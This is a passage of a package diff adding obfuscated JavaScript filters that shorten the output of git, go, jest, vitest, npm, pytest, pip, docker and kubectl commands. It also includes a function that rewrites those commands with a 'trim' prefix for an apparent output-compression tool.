_0x426eb2=a0_0x59937d,_0xaa157a=_0x1c78ee[_0x426eb2(0x181)]('\x0a'),_0x2d5a=[];let _0x23dfa2='',_0x5f1e90=0x0,_0x96aa21=0x0,_0x239dc1=[];const _0x38b250=()=>{const _0x429298=_0x426eb2;if(_0x23dfa2&&(_0x5f1e90>0x0||_0x96aa21>0x0)){_0x2d5a[_0x429298(0x198)](_0x429298(0x19c)+_0x23dfa2+'\x20(+'+_0x5f1e90+'\x20-'+_0x96aa21+')');const _0x575c7e=0xa,_0x21632f=_0x239dc1[_0x429298(0x185)](0x0,_0x575c7e);for(const _0x4b10cd of _0x21632f){_0x2d5a['push']('\x20\x20'+_0x4b10cd);}const _0x19ec0c=_0x5f1e90+_0x96aa21-_0x575c7e;_0x19ec0c>0x0&&_0x2d5a[_0x429298(0x198)]('\x20\x20...\x20+'+_0x19ec0c+'\x20more\x20modifications');}_0x5f1e90=0x0,_0x96aa21=0x0,_0x239dc1=[];};for(const _0x578484 of _0xaa157a){if(_0x578484[_0x426eb2(0x194)](_0x426eb2(0x18f))){_0x38b250();const _0x5e0a26=_0x578484[_0x426eb2(0x182)](/\sb\/(.+)$/);_0x23dfa2=_0x5e0a26?_0x5e0a26[0x1]:_0x426eb2(0x199);}else{if(_0x578484[_0x426eb2(0x194)]('+')&&!_0x578484['startsWith']('+++'))_0x5f1e90++,_0x239dc1['push'](_0x578484);else _0x578484[_0x426eb2(0x194)]('-')&&!_0x578484[_0x426eb2(0x194)](_0x426eb2(0x191))&&(_0x96aa21++,_0x239dc1[_0x426eb2(0x198)](_0x578484));}}_0x38b250();const _0x511857=_0x2d5a['join']('\x0a');return _0x511857['length']>0x0?_0x511857:_0x426eb2(0x189);}
package/filters/go.js ADDED
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x1dcdff=a0_0xde7e;function a0_0xde7e(_0x29554c,_0x2f4fd2){const _0x150de8=a0_0x150d();return a0_0xde7e=function(_0xde7ea,_0xc5b37c){_0xde7ea=_0xde7ea-0x152;let _0x29c889=_0x150de8[_0xde7ea];return _0x29c889;},a0_0xde7e(_0x29554c,_0x2f4fd2);}(function(_0x2a170f,_0x4de6f3){const _0x2d8026=a0_0xde7e,_0x488b6f=_0x2a170f();while(!![]){try{const _0xc13807=-parseInt(_0x2d8026(0x152))/0x1*(-parseInt(_0x2d8026(0x15c))/0x2)+parseInt(_0x2d8026(0x16b))/0x3*(parseInt(_0x2d8026(0x15e))/0x4)+-parseInt(_0x2d8026(0x16f))/0x5+parseInt(_0x2d8026(0x161))/0x6*(parseInt(_0x2d8026(0x158))/0x7)+parseInt(_0x2d8026(0x15a))/0x8*(parseInt(_0x2d8026(0x166))/0x9)+parseInt(_0x2d8026(0x157))/0xa*(-parseInt(_0x2d8026(0x176))/0xb)+-parseInt(_0x2d8026(0x165))/0xc*(-parseInt(_0x2d8026(0x16c))/0xd);if(_0xc13807===_0x4de6f3)break;else _0x488b6f['push'](_0x488b6f['shift']());}catch(_0x19be0b){_0x488b6f['push'](_0x488b6f['shift']());}}}(a0_0x150d,0x39f0b));function a0_0x150d(){const _0x24fcdc=['includes','3693DJKuJi','13IxUnhQ','\x20more\x20issues','trim','2219310iHKbwT','\x20failed,\x20','Go\x20test:\x20no\x20test\x20files','\x20more\x20failures','---\x20SKIP:','__esModule','\x20\x20...\x20+','1155044uHLgHu','slice','defineProperty','Go\x20vet:\x20no\x20issues\x20found','join','lines','...\x20+','split','Go\x20test:\x20all\x20tests\x20passed','\x20\x20\x20\x20...\x20+','2ybihGB','\x20issues\x20found','\x20\x20\x20\x20','\x0aFailures:','Go\x20vet:\x20','40GsjICC','7yBlWXl','length','28984eGSpdc','filter','181054AQuGXu','===\x20RUN','56xHEhJS','\x20skipped','push','2261634TjJnOd','filterGoTest','min','filterGoVet','5572596mFBvQh','153yMiMST','Go\x20test:\x20','match','startsWith'];a0_0x150d=function(){return _0x24fcdc;};return a0_0x150d();}Object[a0_0x1dcdff(0x178)](exports,a0_0x1dcdff(0x174),{'value':!![]}),exports[a0_0x1dcdff(0x162)]=filterGoTest,exports[a0_0x1dcdff(0x164)]=filterGoVet;function filterGoTest(_0x109b3e){const _0x38de09=a0_0x1dcdff,_0x835454=_0x109b3e['split']('\x0a');let _0x5062fa=0x0,_0x4beb31=0x0,_0x488cfb=0x0;const _0x1226c5=[],_0x3409a4=[];let _0x389de7=null;for(const _0x49d1c2 of _0x835454){const _0x162b3f=_0x49d1c2['trim'](),_0x5d7ac1=_0x162b3f[_0x38de09(0x168)](/^ok\s+\S+\s+[\d.]+s/);if(_0x5d7ac1){_0x3409a4[_0x38de09(0x160)](_0x162b3f);continue;}const _0x1e81c3=_0x162b3f[_0x38de09(0x168)](/^FAIL\s+\S+/);if(_0x1e81c3){_0x3409a4[_0x38de09(0x160)](_0x162b3f);continue;}const _0x38f936=_0x162b3f[_0x38de09(0x168)](/^--- PASS:/);if(_0x38f936){_0x5062fa++;continue;}const _0x42be2d=_0x162b3f[_0x38de09(0x168)](/^--- FAIL:\s+(\S+)/);if(_0x42be2d){if(_0x389de7)_0x1226c5[_0x38de09(0x160)](_0x389de7);_0x389de7={'name':_0x42be2d[0x1],'lines':[]},_0x4beb31++;continue;}if(_0x162b3f[_0x38de09(0x169)](_0x38de09(0x173))){_0x488cfb++;continue;}_0x389de7&&_0x162b3f[_0x38de09(0x159)]>0x0&&!_0x162b3f[_0x38de09(0x169)](_0x38de09(0x15d))&&_0x389de7[_0x38de09(0x17b)][_0x38de09(0x160)](_0x49d1c2),_0x162b3f['startsWith'](_0x38de09(0x15d))&&(_0x389de7&&(_0x1226c5[_0x38de09(0x160)](_0x389de7),_0x389de7=null));}if(_0x389de7)_0x1226c5[_0x38de09(0x160)](_0x389de7);if(_0x5062fa===0x0&&_0x4beb31===0x0&&_0x488cfb===0x0){if(_0x109b3e[_0x38de09(0x16a)]('PASS')&&!_0x109b3e[_0x38de09(0x16a)]('FAIL'))return _0x38de09(0x17e);if(_0x109b3e[_0x38de09(0x16a)]('no\x20test\x20files'))return _0x38de09(0x171);return _0x109b3e;}if(_0x4beb31===0x0){const _0x22b0f7=[_0x38de09(0x167)+_0x5062fa+'\x20passed'];if(_0x488cfb>0x0)_0x22b0f7['push'](_0x488cfb+'\x20skipped');return _0x22b0f7[_0x38de09(0x17a)](',\x20');}const _0x4f464d=[_0x38de09(0x167)+_0x5062fa+'\x20passed,\x20'+_0x4beb31+_0x38de09(0x170)+_0x488cfb+_0x38de09(0x15f)];if(_0x1226c5[_0x38de09(0x159)]>0x0){_0x4f464d[_0x38de09(0x160)](_0x38de09(0x155));const _0x10584b=0x3;for(let _0x510049=0x0;_0x510049<Math[_0x38de09(0x163)](_0x1226c5[_0x38de09(0x159)],_0x10584b);_0x510049++){const _0x57b41a=_0x1226c5[_0x510049];_0x4f464d[_0x38de09(0x160)]('\x20\x20'+(_0x510049+0x1)+'.\x20'+_0x57b41a['name']);for(const _0xfd882a of _0x57b41a[_0x38de09(0x17b)][_0x38de09(0x177)](0x0,0x5)){_0x4f464d[_0x38de09(0x160)](_0x38de09(0x154)+_0xfd882a[_0x38de09(0x16e)]());}_0x57b41a[_0x38de09(0x17b)][_0x38de09(0x159)]>0x5&&_0x4f464d[_0x38de09(0x160)](_0x38de09(0x17f)+(_0x57b41a[_0x38de09(0x17b)][_0x38de09(0x159)]-0x5)+'\x20more\x20lines');}_0x1226c5[_0x38de09(0x159)]>_0x10584b&&_0x4f464d[_0x38de09(0x160)](_0x38de09(0x175)+(_0x1226c5[_0x38de09(0x159)]-_0x10584b)+_0x38de09(0x172));}return _0x4f464d[_0x38de09(0x17a)]('\x0a');}function filterGoVet(_0x140db9){const _0x4331ee=a0_0x1dcdff,_0x2dd94e=_0x140db9[_0x4331ee(0x17d)]('\x0a')[_0x4331ee(0x15b)](_0x281897=>_0x281897[_0x4331ee(0x16e)]()[_0x4331ee(0x159)]>0x0);if(_0x2dd94e[_0x4331ee(0x159)]===0x0)return _0x4331ee(0x179);if(_0x2dd94e[_0x4331ee(0x159)]<=0x14)return _0x140db9[_0x4331ee(0x16e)]();const _0x477899=[_0x4331ee(0x156)+_0x2dd94e[_0x4331ee(0x159)]+_0x4331ee(0x153)];return _0x477899['push'](..._0x2dd94e[_0x4331ee(0x177)](0x0,0xa)),_0x2dd94e[_0x4331ee(0x159)]>0xa&&_0x477899[_0x4331ee(0x160)](_0x4331ee(0x17c)+(_0x2dd94e['length']-0xa)+_0x4331ee(0x16d)),_0x477899['join']('\x0a');}
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x4d4dbf=a0_0x28c9;(function(_0x1ea048,_0x484136){const _0x4f4f16=a0_0x28c9,_0x1e1021=_0x1ea048();while(!![]){try{const _0x474d1c=parseInt(_0x4f4f16(0x1d4))/0x1+parseInt(_0x4f4f16(0x20d))/0x2+-parseInt(_0x4f4f16(0x21c))/0x3+parseInt(_0x4f4f16(0x1fb))/0x4*(-parseInt(_0x4f4f16(0x1da))/0x5)+parseInt(_0x4f4f16(0x1f1))/0x6*(-parseInt(_0x4f4f16(0x1e1))/0x7)+-parseInt(_0x4f4f16(0x1ce))/0x8+-parseInt(_0x4f4f16(0x1e7))/0x9*(-parseInt(_0x4f4f16(0x217))/0xa);if(_0x474d1c===_0x484136)break;else _0x1e1021['push'](_0x1e1021['shift']());}catch(_0x17dfa3){_0x1e1021['push'](_0x1e1021['shift']());}}}(a0_0x7476,0xd2235));Object[a0_0x4d4dbf(0x1e5)](exports,a0_0x4d4dbf(0x219),{'value':!![]}),exports[a0_0x4d4dbf(0x21a)]=compressOutput,exports[a0_0x4d4dbf(0x1dd)]=rewriteCommand;const generic_1=require(a0_0x4d4dbf(0x209)),git_1=require(a0_0x4d4dbf(0x1de)),python_1=require(a0_0x4d4dbf(0x1c2)),js_1=require(a0_0x4d4dbf(0x1c9)),shell_1=require(a0_0x4d4dbf(0x1fa)),rust_1=require(a0_0x4d4dbf(0x1c8)),go_1=require(a0_0x4d4dbf(0x1e2)),devops_1=require(a0_0x4d4dbf(0x1cd)),redactor_1=require(a0_0x4d4dbf(0x1d3));function a0_0x28c9(_0x4cc443,_0x3cc9d0){const _0x7476ff=a0_0x7476();return a0_0x28c9=function(_0x28c95b,_0x2817d8){_0x28c95b=_0x28c95b-0x1be;let _0x41dc43=_0x7476ff[_0x28c95b];return _0x41dc43;},a0_0x28c9(_0x4cc443,_0x3cc9d0);}function compressOutput(_0x22ac5a,_0x174fa3,_0x2bd987,_0x44393c=!![]){const _0x221d91=a0_0x4d4dbf,_0x183c79=_0x22ac5a[_0x221d91(0x1f2)]();let _0x331668=_0x174fa3;_0x2bd987[_0x221d91(0x1f2)]()[_0x221d91(0x1d1)]>0x0&&(_0x331668=_0x174fa3+'\x0a'+_0x2bd987);let _0x249dfa=(0x0,generic_1['stripAnsi'])(_0x331668);_0x44393c&&(_0x249dfa=redactor_1[_0x221d91(0x201)][_0x221d91(0x1bf)](_0x249dfa));const _0x7f641a=_0x183c79[_0x221d91(0x218)]();try{if(_0x7f641a['includes'](_0x221d91(0x1ca))||_0x7f641a['includes'](_0x221d91(0x1f0)))return(0x0,git_1[_0x221d91(0x1eb)])(_0x249dfa);if(_0x7f641a['includes'](_0x221d91(0x1ec))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1df)))return(0x0,git_1['filterGitLog'])(_0x249dfa);if(_0x7f641a['includes'](_0x221d91(0x1e3))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x213))||_0x7f641a['includes'](_0x221d91(0x1cf)))return(0x0,git_1[_0x221d91(0x1d2)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)]('pytest')||_0x7f641a['match'](/python3?\s+-m\s+pytest/))return(0x0,python_1[_0x221d91(0x1fe)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1e0))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x207)))return(0x0,python_1[_0x221d91(0x1f3)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1f6))||_0x7f641a['includes'](_0x221d91(0x20e)))return(0x0,devops_1['filterRuff'])(_0x249dfa);if(_0x7f641a['includes'](_0x221d91(0x1f8))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x208))||_0x7f641a[_0x221d91(0x1e4)](_0x221d91(0x1be))||_0x7f641a[_0x221d91(0x1d0)]('pnpm\x20install')||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1c1)))return(0x0,js_1[_0x221d91(0x1e6)])(_0x249dfa);if(_0x7f641a['includes']('jest')||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1c3)))return(0x0,js_1[_0x221d91(0x1ea)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x204))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x202))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x20c))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1d5)))return(0x0,js_1[_0x221d91(0x1ea)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x215)))return(0x0,rust_1[_0x221d91(0x1fc)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1c4))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1ef))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1ee)))return(0x0,rust_1[_0x221d91(0x1e9)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1dc)))return(0x0,go_1[_0x221d91(0x1c0)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)]('go\x20vet'))return(0x0,go_1[_0x221d91(0x1d6)])(_0x249dfa);if(_0x7f641a['match'](/docker\s+ps/))return(0x0,devops_1[_0x221d91(0x1ff)])(_0x249dfa);if(_0x7f641a['match'](/docker\s+images/))return(0x0,devops_1[_0x221d91(0x1ed)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x216)](/docker\s+logs/))return(0x0,devops_1[_0x221d91(0x20b)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)]('kubectl')){const _0x1b17d8=_0x7f641a['match'](/kubectl\s+(get|logs|describe|apply)/),_0xf75a1=_0x1b17d8?_0x1b17d8[0x1]:'get';return(0x0,devops_1[_0x221d91(0x210)])(_0x249dfa,_0xf75a1);}if(_0x7f641a[_0x221d91(0x216)](/^(ls|dir)(\s|$)/)||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1c7))||_0x7f641a['endsWith'](_0x221d91(0x1cc)))return(0x0,shell_1[_0x221d91(0x206)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x216)](/^tree(\s|$)/)||_0x7f641a['includes']('\x20tree\x20')||_0x7f641a[_0x221d91(0x1e4)](_0x221d91(0x20f)))return(0x0,shell_1[_0x221d91(0x1c5)])(_0x249dfa);if(_0x7f641a['match'](/^(cat|head|tail|read|bat)(\s|$)/))return(0x0,shell_1['filterCat'])(_0x249dfa);if(_0x7f641a['match'](/^(grep|rg|ripgrep)(\s|$)/))return(0x0,shell_1['filterGrep'])(_0x249dfa);}catch(_0x371bc0){}return _0x249dfa=(0x0,generic_1[_0x221d91(0x211)])(_0x249dfa),_0x249dfa=(0x0,generic_1[_0x221d91(0x203)])(_0x249dfa,0x4e20),_0x249dfa;}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':'trim\x20git'},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':a0_0x4d4dbf(0x1e8)},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':a0_0x4d4dbf(0x1d9)},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':a0_0x4d4dbf(0x1d7)},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':a0_0x4d4dbf(0x205)},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x|test)(\s|$)/,'prefix':a0_0x4d4dbf(0x1db)},{'pattern':/^npx\s+/,'prefix':a0_0x4d4dbf(0x1f7)},{'pattern':/^(cat|head|tail)\s+/,'prefix':a0_0x4d4dbf(0x20a)},{'pattern':/^(rg|grep)\s+/,'prefix':'trim\x20grep'},{'pattern':/^ls(\s|$)/,'prefix':a0_0x4d4dbf(0x1f9)},{'pattern':/^tree(\s|$)/,'prefix':'trim\x20tree'},{'pattern':/^find\s+/,'prefix':a0_0x4d4dbf(0x1cb)},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x4d4dbf(0x1fd)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x4d4dbf(0x21b)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':a0_0x4d4dbf(0x1f4)},{'pattern':/^ruff\s+(check|format)/,'prefix':a0_0x4d4dbf(0x1d8)},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':a0_0x4d4dbf(0x1c6)},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x4d4dbf(0x1f5)}];function a0_0x7476(){const _0x566e38=['filterKubectl','collapseDuplicates','trim\x20','git\x20show','startsWith','cargo\x20test','match','74310Smhdke','toLowerCase','__esModule','compressOutput','trim\x20kubectl','3000129VLgHAl','npm\x20i','redact','filterGoTest','yarn\x20install','./python','vitest','cargo\x20build','filterTree','trim\x20pip','\x20ls\x20','./rust','./js','git\x20status','trim\x20find','\x20ls','./devops','3399128GoFgRu','yadm\x20diff','includes','length','filterGitDiff','../redactor','1341609pdxcSL','npm\x20run\x20test','filterGoVet','trim\x20cargo','trim\x20ruff','trim\x20glab','15CDcOhP','trim\x20npm','go\x20test','rewriteCommand','./git','yadm\x20log','pip\x20install','63BYmPZH','./go','git\x20diff','endsWith','defineProperty','filterNpmInstall','2916UqofxR','trim\x20gh','filterCargoBuild','filterJestVitest','filterGitStatus','git\x20log','filterDockerImages','cargo\x20clippy','cargo\x20check','yadm\x20status','40428RgGWnQ','trim','filterPipInstall','trim\x20pytest','trim\x20go','ruff\x20check','trim\x20npx','npm\x20install','trim\x20ls','./shell','2221820ByilbE','filterCargoTest','trim\x20docker','filterPytest','filterDockerPs','pattern','redactor','pnpm\x20test','softTruncate','npm\x20test','trim\x20pnpm','filterLs','pip3\x20install','npm\x20i\x20','./generic','trim\x20read','filterDockerLogs','yarn\x20test','526826DZPYuE','ruff\x20','\x20tree'];a0_0x7476=function(){return _0x566e38;};return a0_0x7476();}function rewriteCommand(_0x27c7cd){const _0x9ca0e3=a0_0x4d4dbf,_0x4217b9=_0x27c7cd[_0x9ca0e3(0x1f2)]();if(_0x4217b9[_0x9ca0e3(0x214)](_0x9ca0e3(0x212)))return _0x4217b9;for(const _0x3e3600 of REWRITE_RULES){if(_0x3e3600[_0x9ca0e3(0x200)]['test'](_0x4217b9))return _0x9ca0e3(0x212)+_0x4217b9;}return _0x4217b9;}
package/filters/js.js ADDED
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x3c9ac9=a0_0x4068;(function(_0x140bc9,_0x4dff9f){const _0x50825f=a0_0x4068,_0x4b574c=_0x140bc9();while(!![]){try{const _0x2e01e7=parseInt(_0x50825f(0x1b9))/0x1*(parseInt(_0x50825f(0x1c0))/0x2)+parseInt(_0x50825f(0x1a1))/0x3+parseInt(_0x50825f(0x1a9))/0x4*(-parseInt(_0x50825f(0x1a2))/0x5)+parseInt(_0x50825f(0x1c3))/0x6*(parseInt(_0x50825f(0x1a6))/0x7)+parseInt(_0x50825f(0x1b1))/0x8+parseInt(_0x50825f(0x1b3))/0x9+-parseInt(_0x50825f(0x19f))/0xa;if(_0x2e01e7===_0x4dff9f)break;else _0x4b574c['push'](_0x4b574c['shift']());}catch(_0x376861){_0x4b574c['push'](_0x4b574c['shift']());}}}(a0_0x3ab5,0xbc384));function a0_0x4068(_0xcf0621,_0x4ddaf7){const _0x3ab53a=a0_0x3ab5();return a0_0x4068=function(_0x406813,_0x4da97a){_0x406813=_0x406813-0x19e;let _0x35b451=_0x3ab53a[_0x406813];return _0x35b451;},a0_0x4068(_0xcf0621,_0x4ddaf7);}function a0_0x3ab5(){const _0x384a9a=['__esModule','\x20passed','2JVTtOe','\x20total)','slice','316074PTTvXt','FAIL\x20\x20','25318270TsGVFR','push','2777460JVNohC','5gYjNKI','Tests:','Test\x20Suites:','PASS','49RReNvN','filterNpmInstall','Test\x20Runner:\x20','4424516bkIOqv','Test\x20Files:','\x20lines\x20of\x20trace\x20details\x20truncated)','startsWith','NPM:\x20Packages\x20verified/installed\x20successfully','includes','trim','FAIL','11139296lxzljj','length','6415371WLeItJ','split','match','\x20\x20...\x20(','filterJestVitest','\x20failed\x20(','1009100OUtITr','all','\x20passed,\x20','replace','join'];a0_0x3ab5=function(){return _0x384a9a;};return a0_0x3ab5();}Object['defineProperty'](exports,a0_0x3c9ac9(0x1be),{'value':!![]}),exports[a0_0x3c9ac9(0x1a7)]=filterNpmInstall,exports[a0_0x3c9ac9(0x1b7)]=filterJestVitest;function filterNpmInstall(_0x158040){const _0x19cdea=a0_0x3c9ac9,_0x4ef881=_0x158040[_0x19cdea(0x1bc)](/\r/g,'\x0a'),_0x904bb0=_0x4ef881[_0x19cdea(0x1b4)]('\x0a'),_0x45d9dd=[];for(const _0x714648 of _0x904bb0){const _0x1a1de7=_0x714648[_0x19cdea(0x1af)]();(_0x1a1de7['includes']('added\x20')||_0x1a1de7['includes']('removed\x20')||_0x1a1de7[_0x19cdea(0x1ae)]('audited\x20')||_0x1a1de7[_0x19cdea(0x1ae)]('up\x20to\x20date')||_0x1a1de7[_0x19cdea(0x1ae)]('found\x20'))&&(!_0x1a1de7[_0x19cdea(0x1ae)]('%')&&!_0x1a1de7['startsWith']('⠋')&&!_0x1a1de7[_0x19cdea(0x1ac)]('⠙')&&_0x45d9dd[_0x19cdea(0x1a0)](_0x1a1de7));}const _0x4cc109=_0x45d9dd[_0x19cdea(0x1bd)]('\x0a')[_0x19cdea(0x1af)]();return _0x4cc109['length']>0x0?_0x4cc109:_0x19cdea(0x1ad);}function filterJestVitest(_0x3a148a){const _0x533b98=a0_0x3c9ac9,_0x5901cc=_0x3a148a[_0x533b98(0x1b4)]('\x0a');let _0x164ab8=0x0,_0x19e84e=0x0,_0x315c77=0x0;const _0x1a6994=[];let _0x56255e=![];for(const _0x905793 of _0x5901cc){const _0x247bae=_0x905793[_0x533b98(0x1af)]();if(_0x247bae['startsWith'](_0x533b98(0x1a3))||_0x247bae[_0x533b98(0x1ae)](_0x533b98(0x1aa))){const _0x18cec2=_0x247bae[_0x533b98(0x1b5)](/(\d+)\s+passed/),_0x440d3f=_0x247bae['match'](/(\d+)\s+failed/),_0x525636=_0x247bae[_0x533b98(0x1b5)](/(\d+)\s+total/);if(_0x18cec2)_0x164ab8=parseInt(_0x18cec2[0x1]);if(_0x440d3f)_0x19e84e=parseInt(_0x440d3f[0x1]);if(_0x525636)_0x315c77=parseInt(_0x525636[0x1]);continue;}(_0x247bae[_0x533b98(0x1ac)]('❯')||_0x247bae['startsWith']('●')||_0x247bae[_0x533b98(0x1ac)](_0x533b98(0x19e)))&&(_0x56255e=!![]),_0x56255e&&(_0x247bae[_0x533b98(0x1b2)]>0x0&&!_0x247bae[_0x533b98(0x1ac)](_0x533b98(0x1a4))&&!_0x247bae[_0x533b98(0x1ac)](_0x533b98(0x1a3))&&_0x1a6994[_0x533b98(0x1a0)](_0x905793));}if(_0x315c77===0x0&&_0x164ab8===0x0&&_0x19e84e===0x0){if(_0x3a148a[_0x533b98(0x1ae)](_0x533b98(0x1a5))&&!_0x3a148a[_0x533b98(0x1ae)](_0x533b98(0x1b0))){const _0x365b76=_0x3a148a[_0x533b98(0x1b5)](/(\d+)\s+passed/),_0x8c7e7f=_0x365b76?_0x365b76[0x1]:_0x533b98(0x1ba);return _0x533b98(0x1a8)+_0x8c7e7f+_0x533b98(0x1bf);}return _0x3a148a;}if(_0x19e84e===0x0&&_0x164ab8>0x0)return _0x533b98(0x1a8)+_0x164ab8+'\x20passed';const _0x1c7d75=[_0x533b98(0x1a8)+_0x164ab8+_0x533b98(0x1bb)+_0x19e84e+_0x533b98(0x1b8)+_0x315c77+_0x533b98(0x1c1)];if(_0x1a6994[_0x533b98(0x1b2)]>0x0){_0x1c7d75[_0x533b98(0x1a0)]('\x0aFailures:');const _0x43278d=0x19,_0x261fd7=_0x1a6994[_0x533b98(0x1c2)](0x0,_0x43278d);for(const _0xcede9f of _0x261fd7){_0x1c7d75[_0x533b98(0x1a0)]('\x20\x20'+_0xcede9f);}_0x1a6994[_0x533b98(0x1b2)]>_0x43278d&&_0x1c7d75[_0x533b98(0x1a0)](_0x533b98(0x1b6)+(_0x1a6994[_0x533b98(0x1b2)]-_0x43278d)+_0x533b98(0x1ab));}return _0x1c7d75[_0x533b98(0x1bd)]('\x0a');}
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x3e447e=a0_0x12ac;(function(_0x47ad6a,_0x470bcc){const _0x1701fd=a0_0x12ac,_0xe2d08c=_0x47ad6a();while(!![]){try{const _0x2cedca=parseInt(_0x1701fd(0x1a9))/0x1+-parseInt(_0x1701fd(0x1b1))/0x2+-parseInt(_0x1701fd(0x1a1))/0x3+-parseInt(_0x1701fd(0x1ab))/0x4*(-parseInt(_0x1701fd(0x1a4))/0x5)+parseInt(_0x1701fd(0x19c))/0x6*(parseInt(_0x1701fd(0x19f))/0x7)+-parseInt(_0x1701fd(0x1a2))/0x8*(-parseInt(_0x1701fd(0x1a5))/0x9)+-parseInt(_0x1701fd(0x1a0))/0xa*(parseInt(_0x1701fd(0x1af))/0xb);if(_0x2cedca===_0x470bcc)break;else _0xe2d08c['push'](_0xe2d08c['shift']());}catch(_0x119702){_0xe2d08c['push'](_0xe2d08c['shift']());}}}(a0_0xefa2,0xd73a5));function a0_0xefa2(){const _0x148f5c=['Pytest:\x20All\x20tests\x20passed','Using\x20cached','Pytest:\x20','includes','Requirement\x20already\x20satisfied','__esModule','startsWith','length','passed','E\x20\x20\x20','===','___','join','AssertionError:','.py:','\x0aFailures:','===\x20short\x20test\x20summary\x20info\x20===','\x20lines\x20of\x20stacktrace\x20truncated)','Downloading','filterPipInstall','===\x20ERRORS\x20===','465714HOhTGW','split','\x20\x20\x20\x20...\x20(','21yKkqpw','1729230ztugqX','4882491RglVLb','8IHKXCq','\x20failed','3274090dLOdWS','11026143wHeCmT','match','trim','Successfully\x20installed','753238ZMaGnA','\x20in\x20','4eVdONS','\x20\x20\x20\x20','slice','failed','11qPQrNt','\x20more\x20failures\x20truncated','368094RWSoZY','\x20xfailed','defineProperty','\x20passed','push','\x20skipped','filter'];a0_0xefa2=function(){return _0x148f5c;};return a0_0xefa2();}function a0_0x12ac(_0x3eac70,_0x4392f1){const _0xefa2fb=a0_0xefa2();return a0_0x12ac=function(_0x12acbf,_0x211060){_0x12acbf=_0x12acbf-0x196;let _0x2407da=_0xefa2fb[_0x12acbf];return _0x2407da;},a0_0x12ac(_0x3eac70,_0x4392f1);}Object[a0_0x3e447e(0x1b3)](exports,a0_0x3e447e(0x1bd),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0x3e447e(0x19a)]=filterPipInstall;function filterPytest(_0x1690a6){const _0x24842e=a0_0x3e447e,_0x3a2f0e=_0x1690a6[_0x24842e(0x19d)]('\x0a');let _0x21e00e=0x0,_0x96d86d=0x0,_0x1ca68d=0x0,_0x49dd2d=0x0,_0x1359fd=0x0;const _0x4bbbbb=[];let _0x4a8170=[],_0x4e49ab=![];for(const _0x4c51d6 of _0x3a2f0e){const _0x37db47=_0x4c51d6[_0x24842e(0x1a7)]();if(_0x37db47[_0x24842e(0x1be)]('===\x20FAILURES\x20===')||_0x37db47[_0x24842e(0x1be)](_0x24842e(0x19b))){_0x4e49ab=!![];continue;}else(_0x37db47[_0x24842e(0x1be)](_0x24842e(0x197))||_0x37db47[_0x24842e(0x1be)](_0x24842e(0x1c2))&&_0x37db47[_0x24842e(0x1bb)]('passed'))&&(_0x4e49ab=![],_0x4a8170['length']>0x0&&(_0x4bbbbb['push'](_0x4a8170),_0x4a8170=[]));if(_0x4e49ab){if(_0x37db47[_0x24842e(0x1be)](_0x24842e(0x1c3)))_0x4a8170['length']>0x0&&(_0x4bbbbb['push'](_0x4a8170),_0x4a8170=[]),_0x4a8170[_0x24842e(0x1b5)](_0x37db47);else _0x37db47['length']>0x0&&_0x4a8170[_0x24842e(0x1b5)](_0x4c51d6);continue;}if(_0x37db47[_0x24842e(0x1be)](_0x24842e(0x1c2))&&_0x37db47[_0x24842e(0x1bb)](_0x24842e(0x1aa))){const 